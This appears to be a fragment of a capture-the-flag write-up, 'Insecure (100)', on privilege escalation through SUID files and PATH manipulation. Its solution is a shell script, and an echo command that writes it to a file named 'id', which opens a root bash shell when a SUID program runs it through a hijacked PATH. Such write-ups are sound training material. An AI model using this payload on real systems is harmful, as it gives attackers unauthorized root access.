Insecure (100)
Privilege escalation through SUID files and PATH variable manipulation
Problem
Solution
if [ `/bin/id -u` = "0" ]; then
echo "I am root" && /bin/bash
else
echo "I am not root"
fi$ echo "if [ \`/bin/id -u\` = \"0\" ]; then echo \"I am root\" && /bin/bash; else echo \"I am not root\"; fi" > idLast updated